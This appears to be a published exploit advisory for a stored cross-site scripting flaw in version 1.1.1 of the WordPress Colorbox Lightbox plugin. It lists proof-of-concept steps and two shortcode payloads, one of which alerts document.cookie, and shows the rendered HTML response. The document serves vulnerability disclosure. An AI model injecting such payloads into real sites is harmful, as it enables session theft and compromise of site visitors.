WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting (Authenticated)

# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)
# Date: 10.8.2020.
# Exploit Author: n1x_ [MS-WEB]
# Software Homepage: https://wordpress.org/plugins/wp-colorbox/
# Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip 
# Product Version: 1.1.1

[Description]

# WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library. 

# Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.

[Proof of Concept]

# 1. Authorization as user with privileges to write and publish posts
# 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post
# 3. The code is stored on the post


[Example payloads]


# Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]

# Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"]

[Response]

...
<a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
...